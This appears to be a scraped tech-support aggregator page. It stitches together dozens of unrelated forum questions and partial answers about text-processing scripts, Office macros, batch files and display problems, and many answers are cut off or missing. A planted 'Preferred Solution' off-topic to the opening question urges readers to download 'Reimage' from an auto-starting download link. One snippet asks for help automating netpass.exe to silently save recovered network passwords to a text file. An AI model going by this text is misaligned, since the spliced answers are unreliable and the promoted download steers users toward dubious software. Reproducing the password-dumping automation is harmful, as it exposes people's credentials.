Over 1 million tech questions and answers.

Script To Automatically Trim Text Data Into Several Lines

Q: Script To Automatically Trim Text Data Into Several Lines

Hello. I work in a computer store in Indonesia as an administrator. My job is to create invoices. My crazy supervisor wants to see trimmed label address. She said it's more beautiful to look at -,-' Problem is the address I receive is always jumbled into one long line. Separating them (based on street address, etc) takes time. During the national shopping day, where we can have like 500 invoices in a day, I don't think I can handle it.

Below is one example of the address data that I have to work with:
Alamat Pengiriman
Agus, 62812345678
Perumahan Orang Kaya, Jl.Jalan 2 BLOK H1/1001, Katulampa, Bogor Barat, KOTA BOGOR, BOGOR Barat - KOTA, JAWA BARAT, ID, 12345

The result I want is:
Perumahan Orang Kaya
Jl.Jalan 2
BLOK H1/1001
Bogor Barat

Of course, I understand it is impossible for a script to wholly replace man's logic. But if the script can help me create new lines based on several conditions, it will greatly help me. The conditions are as follow..
New line is made immediately before:
1. Word "Jalan" or "Jl." or "Jl"
2. Word "Perumahan" or "Perum"
3. Word "Blok" or "Block"
4. Word "RT" or "RT***" (*=number)
5. Word "Gang" or "Gg." or "Gg"
6. Word "Kel." or "Kel" or "Kelurahan"
7. Word "Kec." or "Kec" or "Kecamatan"
8. Word "Kota"
9. 5 random number (post code)

New line is made immediately after:
10. A comma and a space ", "

(NOTE1: IF the condition described above has already had a new line, the script doesn't need to re-add new line for that condition. In my example above, the word "Perumahan" starts the new line. Therefore there is no need for additional new line for that word)

(NOTE 2: The words described above doesn't necessarily starts with a capital letter. It can starts with a small letters. For example the word "perumahan" instead of "Perumahan"
Things to erase/replace
1. Word "ID"
2. A comma and a space ", "
3. Word "Alamat Pengiriman"
4. 62 is replaced with "'0" (yes, there is an ' inside)

Please teach me how to automatically sort the address data. I prefer to use WordPad. But if it's impossible, Notepad++ or MS Word is fine. Please help, thank you very much in advance for your time and willingness to help. God bless

Read other answers
Preferred Solution: Script To Automatically Trim Text Data Into Several Lines

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)


I created a form letter as an Access 2007 report. The only field is [first_name] from a query. The first line reads, "Dear Joe (or whatever [first_name] is). I want a comma after each name. I tried =Trim([first_name] & ","), =Trim([first_name) & "," and every combination I can think of. Every permutation returns Dear #Type!. How can I get Dear followed by the name and a comma? Thanks!

A:Solved: Access 2007 Trim and field text addition

Read other 14 answers

Given two text files:


I need a batch file / script that is able to do the following:
- Append a .F53FLIN to the end of the second line in the INFO.TXT so it looks like XXXX_XXXX_XXXX_XXXX_XXXX.F53FLIN
- Add 4 lines in the HISTORY.TXT file, a timestamp (when the script is run, now()), and a copy of INFO.TXT with an empty/blank line following it
So, in essence I am trying to write a script that adds the .F53FLIN to the INFO.TXT (second line) and a TimeStamp+INFO.TXT+BLANK LINE in the HISTORY.TXT (append to the end).

I have tried a few attempts but nothing is coming out even close to right, was hoping someone could help solve the problem.
Any hints, ideas, or help would be greatly appreciated,

A:Adding Text to Text Files [Batch Script]

Which language are you trying to develop this script in?

Read other 1 answers

Good morning / Good afternoon
As a newbie I am making the first posting on your forum and I hope it is not a silly question.

I received a hard print of an excel spreadsheet with data in 9 columns (2 date formatted and 6 number formatted) of figures from my by bank and I wish 2 use them for further calculation. As I didn't get an electronic file from the bank I scanned the data sheet on the HP Scanner into text files ( rich text, plain text etc) and attempted to import the text into Excel; but I was unsuccessful. Have I attempted the impossible or did I do something wrong ?

If it is possible to do so how should I proceed ?
With thanks, anothernub

A:How 2 import text data into Excel from scanned text file ?

Read other 12 answers

Text box border macro based on if text box contains data
Hi i have been trying to create some worksheet code so that for a particular sheet if a textbox is blank the border does not show, but if this contains data the border does show. I have the below code, this works if the textbox contains no data but has a border, the code removes the border. However if the text box contains data but has no border the code doesnt draw the border. I am very new to vb so any help gratefully received.

code is:

Private Sub Worksheet_PivotTableUpdate(ByVal Target As PivotTable)

Sheets("LRCR by division-open").Select

Shapes("Text Box 1").Select

If TextBox1 = "" Then

Selection.ShapeRange.Fill.Visible = msoTrue


Selection.ShapeRange.Fill.ForeColor.SchemeColor = 65

Selection.ShapeRange.Fill.Transparency = 0#

Selection.ShapeRange.Line.Weight = 0.75

Selection.ShapeRange.Line.DashStyle = msoLineSolid

Selection.ShapeRange.Line.Style = msoLineSingle

Selection.ShapeRange.Line.Transparency = 0#

Selection.ShapeRange.Line.Visible = msoFalse


Selection.ShapeRange.Fill.Visible = msoFalse


Selection.ShapeRange.Fill.Transparency = 0#

Selection.ShapeRange.Line.Weight = 0.75

Selection.ShapeRange.Line.DashStyle = msoLineSolid

Selection.ShapeRange.Line.Style = msoLineSingle

Selection.ShapeRange.Line.Transparency = 0#

Selection.ShapeRange.Line.Visible = msoTrue

Selection.ShapeRange.Line.ForeColor... Read more

A:Solved: Text box border macro based on if text box contains data

Read other 13 answers

i am having a .tsv file about 1024 KB and the line count is not same in all the .tsv files.
every file has last 5 lines that needs to be deleted. is there a script or .bat file script that will do this....

A:.bat file script to delete last 5 lines

I'm not super familiar with TSV files but if they can be opened with Excel you can easily add a few lines of macro code to delete the last 5 lines and then re-save. If they can't be opened Excel you can try to use VBS script to open the file and modify it. If you can you post a sample file I can try to code it for you.


Read other 1 answers

Hi all,

I have a question.
I'm trying to build a VB script, that can select and delete several lines of text in a word document. The Document is too large to do it by hand (almost 400 pages), but the pieces of text that need to be removed from the document always start with </par> and end with </rubriek>
I made a script to delete the lines containing <par>, but these skip the lines that don't contain this tag, which happens often:

Sub FindItem1()
With Selection.Find
.Text = "<par>"
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
If Selection.Find.Execute Then
Selection.HomeKey Unit:=wdLine
Selection.EndKey Unit:=wdLine, Extend:=wdExtend
End If
End Sub
Does anybody have a better idea than this? I can't immagine that it is very hard to do, I just cant find the appropriate VB code online.

With kind regards,

A:Script to select and delete several lines in word2003

just bumping this, in the hope that somebody has an answer...


Read other 1 answers


I need a very simple script, in CGI-Perl or even bash language, and to be started from a browser form, to just read a file, finding a specific line by comparing to a received pattern, and from this line ahead always list 3 lines.

Considering, for instance, this file, that I would call: rejected.log:

11111111 22222222 33333333
22222222 bbbbbbbb ccccccccc
jdjfheduf sdkfheuf idifhdihfif
difheihfi eiofjeif efi9ef eijh eifje fef
aaaaaaaa 22222222 33333333
ddddddddd bbbbbbbb ccccccccc
kdjgirir iofejgiejrg ioerugejge
ljeri 98rg398 gio3jrg9 3rjoer

If I run the script by:

scriptname aaaaaaaa

It should list the lines:

aaaaaaaa 22222222 33333333
ddddddddd bbbbbbbb ccccccccc
kdjgirir iofejgiejrg ioerugejge

Please, note that it also should list all the existing occurrences of the same aaaaaaaa through the file.

I thank a lot in advance for this so special help.


A:Script to list specific lines from a file

Would something like this do what you want?


#! /bin/sh


if [ -z "$PATTERN" ]
echo must supply a search parameter ... exiting ...
exit 1

Of course, you could also supply the filename to be searched as an argument to the script.

Read other 1 answers

I have had this happen in the past... but no luck so far in fixing it this time...
In my graphics program, my 3D text is looking choppy and has funny lines and edges sticking way out....
Normally I have corrected this in the past, by clicking on my desktop and then clicking on properties and changing the color bit or making sure my font smooth is on... I have done that with no luck.
I've also double checked my font settings in IE, with no luck...
I'm running out of options, I've restarted the computer MANY times, and nothing...
Does anyone have another suggestion?

I've attached an example of my text....


A:Text looks Choppy with lines

nothing wrong with the text when i click the attachment reseat the video card delete the drivers and reinstall them see if you can d/load some updated drivers before you start

Read other 3 answers

Is there a way to print a Word document without printing the text box lines?

A:Printing text boxes without lines

Right click on the border of the text box (not inside it) and you will get "Format text box" On the colors and lines tab change the line color to "No line".

Hope that helps,


Read other 3 answers

Hello, just got a BSoD after going to Facebook. And of course, the error wasn't readable at all. When I loaded Windows back up and logged in, Window's gave me a popup telling me it recovered from an unexpected shutdown.

Problem signature:
Problem Event Name: BlueScreen
OS Version: 6.1.7601.
Locale ID: 4105

Additional information about the problem:
BCCode: a
BCP1: 00000000
BCP2: 00000002
BCP3: 00000000
BCP4: 81C8EA1C
OS Version: 6_1_7601
Service Pack: 1_0
Product: 256_1

Files that help describe the problem:

Read our privacy statement online:
Windows 7 Privacy Statement - Microsoft Windows

If the online privacy statement is not available, please read our privacy statement offline:

Anyone able to see what caused the issue with the given text? Thanks.

A:Unreadable lines of text on BSoD

Blue Screen of Death (BSOD) Posting Instructions

Read other 1 answers

I just bought tribes2 the only problem is, at least so far is that the text in the game screens doesn't look like letters, it looks like squares and rectangles an lines. I've updated my drivers and have all the right stuff i think so what could be the problem? I have an ati rage pro-enhanced video adapter, aztech sound galaxy nova 16-updated, direct x 8a, i installed openGL, which was included with the game...it wouldn't run at all until i installed the open GL, pentuim III, windows 98...I don't know what else to tell ya, plenty of memory, disk space...please help. It is so frustrating to have a new game to play and be able to!

A:text in game looks like rectangles and lines

Read other 11 answers

Edited for privacy by moderators at member's request.

Read other answers

I would like to remove lines from a text file if they have more than one space in the line. With the code below it will remove lines if they have one space. How do I fix it so that it will only remove lines that have more than one space?

Option Explicit
dim filepath, VBSName, objFSO, objTextFile, objTextFile2
dim fs, folder, file, item, line, fs1, filename
VBSname = wscript.scriptfullname
Filepath = left(VBSname, Len(VBSname) -(len(VBSname) - InstrRev(VBSname, "\")))
set fs = CreateObject("Scripting.FileSystemObject")
set folder = fs.GetFolder(FilePath)
For each item in folder.Files
If Right(item.name, 3) = "txt" Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile (item, 1)
Set fs1 = objFSO.CreateTextFile ("temp.txt",True)
Set objTextFile2 = objFSO.OpenTextFile ("temp.txt", 8)
Do Until objTextFile.AtEndOfStream
Line = objTextFile.ReadLine
If InStr(1,Line, " ",1) then
objTextFile2.writeline line
End If
set objTextFile = nothing
set objTextFile2 = nothing
filename = item.name
objFSO.CopyFile "temp.txt", filename, true
objFSO.DeleteFile "temp.txt"
set objFSO = nothing
Set fs1 = nothing
End If
msgbox "Done!"

A:Remove certain lines in a text file with .vbs

I'm not sure if this will work, but try changing

If InStr(1,Line, " ",1) then

If Len(Line) - Len(Replace(line," ","")) >1 then

Read other 2 answers

Hi guys, I have a slight problem after my first data scraping session.

Basically I have around 500k of lines and around 50k "www.domain.com/username" urls that are in this text file. However the only part I need is the url and everything else is redundant. The URL is dynamic so it's different username everytime as well as on a random line rather then continuous every 5 lines or so.

Is there a software out there or maybe a notepad++/sublime2 algorythim that takes out all the data or simply extracts the data I want?

Here is what it looks like:

http://www.youtube.com/watch?v=RiVKDn5kyfo,,,Landon Austin - Armor - Official Music Video Download on iTunes!! - <a href="http://goo.gl/aaIY8E" target="_blank" title="http://goo.gl/aaIY8E" rel="nofollow" dir="ltr" class="yt-uix-redirect-link">http://goo.gl/aaIY8E</a> Download on Amazon!,,
http://www.youtube.com/watch?v=z91KJ2I7j2s,,,Download on iTunes ? For more information ?? smtown hompage : <a href="http://www.smtown.com" target="_blank" title="http://www.smtown.com" rel="nofollow" dir="ltr" class="yt-uix-redirect-link">http://www.smtown.com</a> ?? smtown EXO-K*...,,
http://www.youtube.com/watch?v=52oJrdLhXlE,,,Watch the official music video by Kerbera for their hit single &quot;Counterpoints For more information on Kerbera check them out on*.... Read more

Read other answers


Almost all text appears as lines on my laptop.

I was playing an online game and using Fraps to capture videos. I started a video in Real Player, which acted weird. I exited RP and saw that the text on my desktop icons had become larger. I restarted my machine and found that all text under the icons has turned into lines. This includes the heading of each program, IE included. text within the programs, like what I'm typing now, appears fine. The start menu text also appears as usual, save that the boxes containing them have become very narrow (and cover most of the text within them).

My system is an HP Pavilion 80 gig, 512 RAM, 1.6 centrino peocessor.

Also, not sure if this is relevant, but I recently replaced my 60 gb HD with an 80 gb HD.

EDIT: As I was preparing to re-install my video driver, I looked at the lines more closely. It appeared as though they were VERY small text, and so I reset my desktop options and everything's back to normal.

I'm very sorry for taking up forum space on something so trivial.

Thanks for your time.

Read other answers

I have some code to identify pest types based upon Key Words identified. If multiple pest 'Key Words' are identified within a string, multiple pest types are entered.

For Example.. The attached file includes code that reads the case description (Column R) and identifies "KEY" pest words, (Column 0) is then updated with the pest type. However, if the Case includes several key words, then column O will contain several pest types, separate by "\" .
My challenge is to separarate the records where the "\" appears. For instance, if the Pest Types are identified as ANTS\ROACHES, the data should be updated to show 2 lines of data with one record identifying ANTS and the second record identifying ROACHES. Also, the code sometimes duplicates the pest where you will see RODENTS\RODENTS etc. I have other code to handle these instances. The VBA is also included in the attached. Any help would be appreciated.

Read other answers

I would like for my desktop icons to show all lines of text the same as when I click on the icon. I have tried under personalize>window color> advanced appearance settings... changing the vertical and horizontal spacing and font size but the icons are still only showing 2 lines of text.

Would anyone have any ideas as to how this can be accomplished?


A:how to show more lines of text on desktop icons?

Hi yeto and welcome to Seven Forums.

You can make the Icon's a slight bit bigger by holding the "Ctrl" key and scroll with you mouse when on the desktop and just bring it a small bit bigger and it will work for you.

Hope this helps

Read other 4 answers

I usually click and drag straight downwards to select paragraphs or multiple lines of text in my browser or word.

Now I can only select a few lines before the text gets unselected and then it starts selecting text farther down where mty cursor is. Or if I drag too fast, the entire selection gets unselected. I also noticed that when I double click on a word or sentence, the whole word or sentence gets selected. If I drag veeery slowly downwards from left to right, I can manage to select a little more text than I would have if I did it at the normal speed.

I know there should be a way to fix this.

Some people have said there is no way to disable this in windows 7, but then, they're telling me that there is no way to select multiple lines of text which seems extremely inconvient.


A:Problems with selecting multiple lines of text

If your keyboard runs on batteries, change those.

Read other 4 answers

I have a report containing columns of figures, and I would like to have lines drawn above the totals at the bottom of the columns. For reasons that are too complicated to explain here, I'd prefer not to use tables to accomplish this.

It's easy enough to get a solid line above the row of totals, but if I select one of the totals and bring up the "Borders and Shading" dialog, it won't do anything but draw a box around the selected text. The four buttons for top, bottom, left and right all do the same thing, toggling the entire box on and off, when I would expect them to affect only the corresponding segments. If I have no text selected, the entire row of text will get a line, and the buttons function independently.

Is this a bug in Word, or am I missing something?

A:Cannot insert lines above selected text in MS Word

Use the drawing toolbar and create a line, place it where you want.

Read other 3 answers

All of a sudden my computer screen has green/purple or black lines through it and I get garbled text on startup as well.

I tested my screen with another computer and it works fine, I also used the same cable as well.

I'm guessing my graphics card is on its way out? I have a gtx 275

A:Garbled text and green lines through my screen

Yes, your graphics card is dead.

Read other 9 answers

I recently connected our old Lexmark Z11 printer to our HP computer via a parallel to USB cable. When I print a document it prints each individual line three times and they overlap each other. It has done this from the beginning. Might this be a driver issue, or something with the USB to parallel connection for this old printer? Any thoughts would be greatly appreciated.

Read other answers

I want to number selected lines on a page of text using Word 2003. Basically, I have a script and I want to number the dialogue lines, not the names of the characters or the spaces. I know I use File, Page Setup, Layout but I either get all the lines on the page numbered or selected text numbered with each selection on a new page.
Any help appreciated.

A:Word 2003: numbering selected lines in text

I think a mcro could be written for something like that but then I think the lines should all have a carraige return line feed so that they won't wrap is a line number is adde at the beginning.
I have no idea how to do it but you could record a macro and do it manually, stop the tecroding ans see what the codee looks like and then edit it to your specific purpose.
Make sense?

Read other 3 answers

I am having the exact same issue.  I have two identical laptops, purchased on the same day, that are both having this issue. A soft boot (restart) seems to clear it up.  Many times it seems as though a hard boot will NOT fix it.  Tool Tips in the notification area are affected.  Drop down menus look ok until you point to something, then that item is illegible.  I pressed Ctrl + Alt + S to get the information below, and I could not read any of it.  I was able to copy and paste it though.
Seems to be happening more frequently in the last couple of weeks, has been going on for a few months now.  Maybe since the Anniversary Update, but I can't be sure.
Don't have an external monitor to try. 
Product name:HP Pavilion Notebook
Product number:T0D95UA#ABA
Serial numberremoved content)
Software build ID:15WW3CGT601#SABA#DABA
Motherboard ID:80A1
Feature byte:3Q6b7K7M7WaBapaqasauawbhbpbzcbdUdXdpdq.Aq
OS version:ML
Service ID:20160214
Keyboard revision:91.1E
Total memory:8.00 GB
Processor name:Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz

A:Re: Weird Black Bars and lines on text/font

Is it ok piggy-backing on this thread, or do I need to start my own?  I'm not getting any responses...

Read other 2 answers

I purchased a new HP Notebook 1 week ago and have experienced recurring obscuring black bars and odd defacing of lines of texts.  This occurs in Internet Explorer, my email program (AOL) and also in Microsoft WORD.  I performed a system restore that this eradicated the problem for a few days.  Then, Windows 10 forces upgrades, and the problem reappeared.  Then, I altered Windows 10 to the default program build, and that also eradicated the problem.  Then, 2 days later, the problem appeared again.  I have difficulty believing that HP, a reputable company, and the builder of my last 3 computers, would release a product with pre-loaded software that would do this.  I would appreciate knowing how this display "bug" can be permanently corrected.  Otherwise, will I be facing restoring the windows operating system twice a week throughout the next 3 years of ownership?

Read other answers

I have the exact same problem. Just bought a new HP laptop like a week ago and the problem is exactly the same. Has a fix been found for this? I read this topic and searched for updates, only update was a Windows 10 update and I installed it. The problem seemed to be fixed but after a couple of hours it appeared again. 

A:Re: Weird Black Bars and lines on text/font

Read other 1 answers

Is there a text-editor program(MS Word, Wordpad etc) that can displayed ruled lines, like in your college notebooks or lines that are alternately shaded like iTunes?

A:Ruled or alternately shaded lines text editor

Editpad lite is free.

Editpad Pro is under priced.

Read other 1 answers

I have Windows 7 Home Premium and Microsoft Office 2010 which has no direct facility for copying and pasting plans showing table lines or Excel grid lines. I want to send a copy of a plan of our own property to a web based firm when requesting a quotation. I tried to get round this by using text boxes for lines but can`t copy and paste the text boxes themselves either. So now I am trying using rows of xxxxxs but am having trouble switching between horizontal and vertical rows of text. Is it possible to do this without putting them
into text boxes ?

Anyone any ideas for a simple way of getting round this problem. I am new to Windows 7 and to Microsoft Office 2010 and am finding the latter quite bewildering anyway. I managed to find Word Art but the directions for finding the way to change vertical to horizontal text defeat me at the moment. We don`t appear to be able to update Windows 7 - only to replace it which is an expense we prefer to avoid at the moment.

A:Pasting text boxes and grid lines into emails

Attach a file with the images/data. I generally send 2 formats, just to be sure they will be able to open at least 1 of them, such as a bmp image and a pdf file.

EDIT: I just noticed that you double-posted. Please read the rules.


Read other 1 answers

Black bars appear on text, resulting in me not able to see text. If I restart my laptop, it won't appear for a while but return at some point. I've scanned for virus' countless times, malware scans, etc. I do not have a system restore point to go back to. Wireless connection. Problems started occuring after Windows 10 anniversary 1607 update., but unsure whether its to do with the update. However I do think that the update has caused servere fps drops in games. For example, CS:GO used to run at 70-100fps, but now it runs at 30-40 fps. This has crippled my gaming experiance and I've also tried many things to resolve that issue, with no resultions.

Read other answers

Hi all,
can someone please tell me how i can get a data bound text box onto my data reports? I can only insert RptLables and RpttextBoxes onto my report.

Read other answers

Hello All,

I am looking for something to help me in my work. I have to keep line counts in text and CSV files in a log. I was wondering if it was possible to do this with a batch file?

Here is what i would like for it to do:
Open the DOS window in XP.
Drag the Bat file to the dos window
Drag the file needing to be counted to the same window(or copy the network address), click enter
and have a line count

Currently I use KEdit to get this information from the status bar (size) but thought a batch file might be easier (and quicker).

Can someone help me?

Tannks a bunch

A:Solved: Batch File for Counting Lines in Text or CSV files

Did some Googling around, never really thought of doing this in a batch file. I found a VBscript alternative you might be able to use from command line though.


here's a vbscript alternative:


Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objArgs = WScript.Arguments
myFile = objArgs(0)
Set objFile = objFSO.OpenTextFile(myFile,1)
Do Until objFile.AtEndOfLine
line = objFile.Line
WScript.Echo "Line count of", myFile , "is", line

cscript myscript myfile

The link above is the link to the page where I found this information, wanted to give credit where credit is due. With this script you could just call the script and give it the parameter my file from command line. If you really wanted a batch, you could easily create a batch that echo's each of those lines into a temp.vbs, calls the temp.vbs with a parameter %myfile using the "cscript myscript myfile" command then "del temp.vbs" at the end. Seems very redundant and pointless though.

Hope the VBS helps you.


Read other 3 answers

I will be away from home over Xmas but I will be remotely logging in to my computer at certain times.

I am worried that my network may go down over xmas, sometimes my pc loses it's network connection and I need to restart the network adapter or do ipconfig / release, renew flush dns

Does anybody have a script or something they use that will restart my network or even my router if it can't access the internet?

I have written a simple batch script that I will schedule but I am hoping someone has something to do this already just incase my script doesn't work!

A:Script to automatically fix network issue?

Have you had any issues before?

The only problem I can see with this is that if the ISP is down, or if your modem or router may have issues then you're screwed regardless of the script.

Read other 3 answers

Dear Windows Expert,

I have a schedule that will copy some of the backup folders daily to the remote backup server by using the robocopy batch file and because of this, the files will keep growing and I have the problem with the storage. hence, I will need to
remote them manually.
 is there any script that will automatically delete the specific folders or files if lets say it more than 3 days old, etc.

Many thanks

Best Regards,

Read other answers

OK, I am new at a lot of this and one of my first projects is to work on making sure all 60 workstations at work are defraged monthly. I have never wrote a script for anything, but heard I can write a script to automatically run defrag on all the work stations. I know i can set defrag to run in task scheduler but i dont want to have to go to each workstation to do this if I dont have to. We have active directory at work and there are group policies. My question is how do I write a script to run defrag automatically without the user being logged in and me having to set it up on each workstation?

A:How to run a script to automatically start defrag

Read other 8 answers

Aaaaand my recent hellish computer problems continue...ugh

Ok so my new bfg nforce4 mobo is installed in my comp. I formated my partition and reinstalled xp. But I'm getting intermitent graphic issues. When I first boot up I get Short horizontal green lines running in vertical rows up and down the screen. Plus most dashes in my text with the occasional number or letter and space. Then windows starts and I get blue cuts horizontally across the screen. This doesn't happen ALL the time. It seems to occur when I install new software that is related to video. I installed a new game demo and it happend. It also happend when I installed the video drivers and a few other programs. It seems to be fixed when I pull out the video card and put it back in. Oh and after I installed the most recent program that caused this I was getting a no keyboard error for the first few reboots.

I have absolutely zero idea what this could be. The video card is new from BFG who sent it to me back when I thought my bad mobo was caused by my video card.

Anyone have any suggestions on this. I could really use help on this one.

My current setup is...

MOBO: BFG nForce4 Ultra ATX Socket 939 Motherboard for AMD Athlon 64, Athlon 64 FX
PROCESSOR: AMD Athlon 64 3200+ Venice 1GHz FSB Socket 939 Processor Model ADA3200BPBOX
RAM: gigaram 512MB 184-Pin DDR SDRAM DDR 400 (PC 3200) Unbuffered System Memory Model GR9053-512MB/400/SA - Retail
Power Suppl... Read more

A:Help: Video Problems: Green/Blue lines, Random text, characters...

An update:

I checked my Device Manager and I've got a nice little "!" that says "This device cannot start. (Code 10)" Dunno what the means exactly in relation to my problem, though maybe someone else does?

Another thing...I installed an old PCI card and the comp booted up fine no problems at all. But the card I'm trying to get to work is a PCI-E card so even though it sounds like it could be the card it could still also be something else right? I just recently RMA'd the video card even though it didn't need it (long story: my mobo was the problem, which is why I got a new one) and it took them over two months and 3 cards before they were able to mail me back the right formatted card, so I loath to send this one in again.

Read other 3 answers

Our pages in this site
have drop down menu boxes at the bottom of the pages.
When these pages are viewed on a PC with either Internet Explorer or Netscape they look perfectly normal. However, when viewed on a MAC using Netscape (no access to a MAC using IE so who knows??) there is a huge amount of white space between the last line of the text and the section where the drop down menu is.
The pages were done in Dreamweaver 3. I can see nothing in the coding that would indicate blank lines of any kind, but not being a MAC user, I'm not really sure what I'm looking for.

Any ideas about what is causing this and how to fix it would be greatly appreciate.


Bette Lou

Read other answers

Hi guys,
I'm a non-professional java developer who needs a way of taking a .txt file and turning it into a bunch of Strings (one String per line) so I can batch rename a bunch of files with filenames taken from the text file line by line; a kind of custom file renamer, but I'm struggling with the classes and methods needed for the first part of the project (ie getting a .txt file and turning each line into a String so I can rename files with it)

Any thoughts would be super appreciated.

A:Need Java method for converting lines from text file into String objects

Hi mushka,

I know I have the program you need. It was lost among my old pieces of coding.
Finally, I got it.
I test the program and it works.
Remark : the process ignores empty lines and it may be executed on both Windows and Unix based OS.
Also, you must rename the files in attachment with the .java extension.

Read other 3 answers

i want to make netpass.exe window automatically close after make his job and save the password list in a .TXT file
Can anyone help me with that please?
here the pack to work and test
U can downlaod the tool from here: https://www.sendspace.com/file/rcj5oz

A:I need a .VBS script for a tool to save and automatically close

Is this where you got netpass.exe: Network Password Recovery v1.34 - Recover Windows XP/Vista network passwords (Credentials file) Copyright (c) 2005 - 2014 Nir Sofer

Read other 3 answers

Hi there

I've trying to invoke a fix on the fly and have got a mixed windows workstation environment on my network. For particular reasons, I don't want my windows XP users to use a Windows 7 machine and equally I don't want a Windows 7 user to use a Windows XP machine. Silly I know but there you go.

I've set up a couple of WMI filters that determine the machine type and have used the following script to ensure that each user type is logged off and the PC restarted.

Option Explicit
Dim objShell
MsgBox"The detected logon method is not supported " & chr(13) & chr(13) & "Please revert to using your own computer." & chr(13) & chr(13) & "This computer will now restart" & chr(13) & chr(13),0,"Invalid Logon Detected."
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "C:\WINDOWS\system32\shutdown.exe -r -f -t 0"

For the Windows XP users on Windows 7 machines it works fine, however when a Windows 7 user logs into a Windows XP machine, it displays the message but won't do the restart bit on the Windows 7 machines.

Do I need to create some elevated permissions for my windows 7 machines.

A:Can I force a user to log off automatically through a logon script?

Try to run interactively.

C:\WINDOWS\system32\shutdown.exe -r -f -t 0

works on winxp?
Why did you create those user accounts? You don't let them logon! You don't simply log them off but even shutdown.

Read other 8 answers

I am having trouble getting Windows XP to log on automatically. I work at an IT Help Desk which assists many remote users over a VPN connection. One of our biggest annoyances is having to call users back every 10 minutes to log themselves back in and reconnect after we had to restart their computer for whatever reason, so I'm figuring out how to make the computers reconnect on their own.

I made the basic registry changes so that the machine can login by itself. The problem is that these machines are all on a domain with a local security policy that includes Interactive Logon Text, which basically means that right after you hit ctrl-alt-delete to get to the login screen, a nice little box comes up that warns "Authorized Users Only." Once you hit ok, the auto login is successful. How can I get rid of this box? I can't change security policy and temporarily taking the machine off the domain just for that is a real pain.

I made a simple vbs script that sends the "enter" key. Is there a way to make scripts run right after ctrl-alt-delete is pressed?

Read other answers

I get a list of names in Column A. Some cells contain just a first name, some contain first and last name, some contain 2 first names separated by an & and then a last name. I need a way to separate this one column into 2 columns, then delete the original column. Column A is original, column B is first name only, column C is last name only. If a cell has 2 first names, ONLY include the first first name, disposing of the & and the 2nd first name. Here is an example. I would like this done in a script preferably, as I will be adding other action items to the script.

Aaron Pixley | Aaron | Pixley
Adriann Burn | Adriann | Burn
Alayne & Allen Brand | Alayne | Brand
Alberto Rios | Alberto | Rios
Alex & Lindsey Gutierrez | Alex | Gutierrez
Thank you in advance. I did go to Data, Text to column but couldn't figure out how to delete the 2nd first name, and of course I want it to be in a script.

A:Text to Column script instead of manually done

Hi Brian,

try this code

Sub TestThis()
Dim xRow As Long, lastRow As Long
lastRow = Range("A" & Rows.Count).End(xlUp).Row
Dim tPos As Integer, xPos As Integer
For xRow = 1 To lastRow
tPos = InStr(1, Cells(xRow, "A"), Space(1))
If tPos > 0 Then
Cells(xRow, "B") = Left(Cells(xRow, "A"), tPos)
If InStr(1, Cells(xRow, "A"), "&") = 0 Then
Cells(xRow, "C") = Right(Cells(xRow, "A"), Len(Cells(xRow, "A").Value) - tPos)
For xPos = Len(Cells(xRow, "A").Value) To tPos Step -1
If Mid(Cells(xRow, "A"), xPos, 1) = Space(1) Then
Cells(xRow, "C") = Right(Cells(xRow, "A"), Len(Cells(xRow, "A").Value) - xPos)
Exit For
End If
Next xPos

End If
Cells(xRow, "B") = Cells(xRow, "A")
End If
Next xRow
End Sub

I don't know what you want to do if only one name is filled, if it's to be consideren a lastname then you should change the last Cells(xrow, "B") = Cells(xrow, "A") the "B" for a "C"

If this is Okay then you can add a line of code after Next xRow to delete the column A


Read other 1 answers

I have a PC that has an existing Procom Plus 4.8 program that uses Aspect Scripts.
What I need to do is create a simple test for the Procomm Plus program of this PC.

I am having trouble reading an entire text file and checking for a specific word, before sending a user message
These are the steps I need to work.

A.) I need to read the entire text file (I am only reading the first string to the CR/LF.)

B.) I need to check for the word "DENY"

C.) If I see the word "DENY", then print Match Found!.

The A.) step is not working. I am only reading the first string to the CR/LF.

The code:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CAPTURE TEXT 1

proc setupProc
delfile "c:\Temp\temp.txt"
set txpace 10
set capture path "c:\Temp"
set capture file "temp.txt"
waitfor "RTRV-EQPT::ALL:;" 5
capture on
transmit "^M"
waitfor ";" 5
capture off

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;READ TEXT 1

proc checkcomplete
string sLine

fopen 0 "c:\Temp\temp.txt" read text ;Read the temp textfile
while not feof 0
fgets 0 sLine ;Read the first string of the text
if strfind sLine "DENY" ;See if the text has the word "DENY"
usermsg "Match found!" ;If the word "DENY" exists print Match Found
usermsg "No matches!" ;Else print No matches!
fclose 0

A:Help!! Procomm Plus Script for reading & cap text

I got the fix with the following setup:

string sLine
integer Loops=0

fopen 0 "c:\Temp\temp.txt" read text
while (Loops) < 100
fgets 0 sLine
if strfind sLine "DENY"
usermsg "UNIT FAILED!"
fclose 0

Read other 1 answers

Icon shows on task bar but must manually touch. What was MS thinking - this is a giant step backward. And I am referring to popping up the keyboard in a text box when in desktop, not on Metro (where it does pop up). In Win 7 the keyboard always pops up but MS changed the setting for Win 8 - thought I might get some insight here.

Read other answers

Anytime I get to a dialog box or a text box or anything where I can type, I get a continuous/////////////////////////////// or a continuous ************************. The only way to stop it is to reboot - then it works OK for a while. Otherwise, I can't type anything anywhere. The characters also just keep replicating themselves forever until I shut down. The speed is if I were holding down those keys. I've tried Noton 360 and system file checker and SUPERAntimalware and Maywarebytes. Found no problems Please help!!!!!!!!!!

A:Whenever I see a text box, it automatically fills with: //////// or **

Have you tried a different keyboard?

Read other 5 answers

Yup, i'm having this very strange problem with my Computer, it keeps renaming the file extension to .TEXT or .TXT everytime I click it.

I know why, but I need to find the solution to fix it, I figured this was the best place to go to since someone here has recently helped me out.

